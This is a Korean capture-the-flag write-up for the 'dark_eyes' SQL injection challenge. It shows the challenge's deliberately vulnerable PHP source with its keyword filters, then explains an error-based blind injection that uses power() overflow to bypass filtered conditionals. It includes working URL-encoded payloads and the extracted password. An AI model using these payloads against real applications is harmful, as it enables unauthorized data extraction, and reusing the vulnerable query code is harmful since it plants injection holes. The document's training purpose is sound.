<?php
include "../config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
$result = @mysql_fetch_array(mysql_query($query));
if(mysql_error()) exit();
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
$result = @mysql_fetch_array(mysql_query($query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
highlight_file(__FILE__);
?>
소스코드 분석
이것도 기본적인 error based sql injection으로 풀이가 가능하다.
다만 조건문이 필터링 되어 있다.
풀이
true=1 false=0 따라서
power((조건문)+1,9999999)를 하게 된다. 따라서 조건문의 결과가 true이면 +1이 되어 2의 99999승이 되는데 이럴경우 오류를 발생
false는 0이므로 0+1은 1이고 1의 999999승이 면은 결과는 1이기 때문에 오류 발생하지 않음
페이로드 power((length(pw)>1)+1,999999) 다음과 같이 페이로드를 짜게 되면 결과가 맞게 되면 error가 나오면서 참임을 알게 된다.
+는 url 인코딩 %2b를 해줘야 +가 넘어간다..
결과적으로 8글자인것을 확인
53 98 50 97 53 101 51 d
5b2a5e3d
power(((ascii(substr(pw,8,1)))>300)%2b1,999999999) //참이면은 2의 99999999승을 하게 되는데 이때 데이터베이스 내의 버퍼 오버플로우가 발생하는지 모르겠지만 오류가 발생함
문장 대조 페이로드
pw=%27%20||%20id=%27admin%27%20and%20power(((ascii(substr(pw,8,1)))>100)%2b1,999999999)%23